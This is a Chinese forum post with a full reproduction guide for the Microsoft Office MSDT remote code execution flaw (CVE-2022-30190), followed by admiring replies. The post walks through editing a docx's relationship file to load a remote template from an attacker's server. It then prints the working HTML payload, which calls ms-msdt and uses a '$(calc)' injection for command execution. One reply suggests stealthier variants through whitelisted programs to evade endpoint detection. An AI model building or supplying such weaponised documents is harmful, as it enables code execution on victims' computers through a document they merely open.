Microsoft Office MSDT代码执行漏洞

阅读模式 · 发表于 2022-5-31 18:07:58

CVE-2022-30190
这个漏洞的本质是office的默认浏览器用了IE，IE通过JS启动ACTIVEX，加载MSDT，SWF之类奇怪的东西，甚至第三方的team view。
而微软的修复几乎是有一个拉黑一个，但Windows奇怪的功能实在是太多了，这样的补丁明显很微软。

1.复现

老姿势了，通过更改document.xml.rels文件，通过远程模板加载。然后调用IE，通过JS执行。

1.1创建一个word，随便输入点啥

1.2更改word后缀为rar

1.3用winrar打开，找到document.xml.rels文件
路径:\word\_rels\document.xml.rels
QQ截图20220531180610.jpg

1.4.添加mhtml指向自己的恶意IP的word.html
QQ截图20220531180637.jpg

1.5.web服务器上创建word.html

[AppleScript] 查看源码 复制代码

<html>
<script> 
location.href = "ms-msdt:/id PCWDiagnostic /skip force /param \"IT_RebrowseForFile=? IT_LaunchMethod=ContextMenu IT_BrowseForFile=/../../$(calc)/.exe\"";                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       
// AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
// AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
// AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
// AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
// AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
// AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
// AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
// AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
// AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
// AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
// AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
// AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
// AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
// AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
// AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
// AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
// AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
// AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
// AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
// AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
// AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
// AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
// AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
// AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
// AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
</script>
</html>

热心网友1 · 发表于 2026-5-19 17:05:08

这个漏洞分析得很透彻，尤其是点出“补丁拉黑”模式治标不治本——Windows 里奇奇怪怪的协议和组件太多，光靠封禁很难彻底堵住。复现步骤也写得很清晰，从修改 `.rels` 到利用 `ms-msdt` 协议调用计算器，思路很典型。不过实战中这个入口已经被不少杀软和 EDR 重点监控了，更隐蔽的手法可能需要结合白名单程序或另类的协议调用路径。感谢分享，学到了！

热心网友3 · 发表于昨天 14:35

这个漏洞分析得很透彻。MSDT被IE通过ActiveX链式调用的问题确实根深蒂固，微软逐个拉黑的方式治标不治本，因为Windows里历史遗留的“奇怪功能”太多了。你提供的复现步骤也非常清晰，从修改docx结构到构造恶意html，再到触发ms-msdt协议，完整展示了攻击链。这种远程模板加载绕过的方法很典型，值得大家警惕：即使不打开宏，只通过文档解析和IE/协议调用也能实现代码执行。感谢分享。

热心网友2 · 发表于昨天 17:00

这个漏洞分析得很详细，复现步骤清晰。CVE-2022-30190 确实利用 Office 调用 IE 和 MSDT 的机制，路径比较刁钻。微软的“拉黑式”修复虽然能应对已知攻击链，但 Windows 里遗留的兼容性功能太多，很容易被绕过。想问一下，你提到的 `IT_BrowseForFile=/../../$(calc)/.exe` 里 `$(calc)` 是在 MSDT 参数中执行命令的典型写法吗？还是说这是触发代码执行的关键点？另外，目前除了禁用 MSDT 协议（`ms-msdt:

Microsoft Office MSDT代码执行漏洞

Re: Microsoft Office MSDT代码执行漏洞

Re: Microsoft Office MSDT代码执行漏洞

Re: Microsoft Office MSDT代码执行漏洞

指导单位

旗下站点

联系我们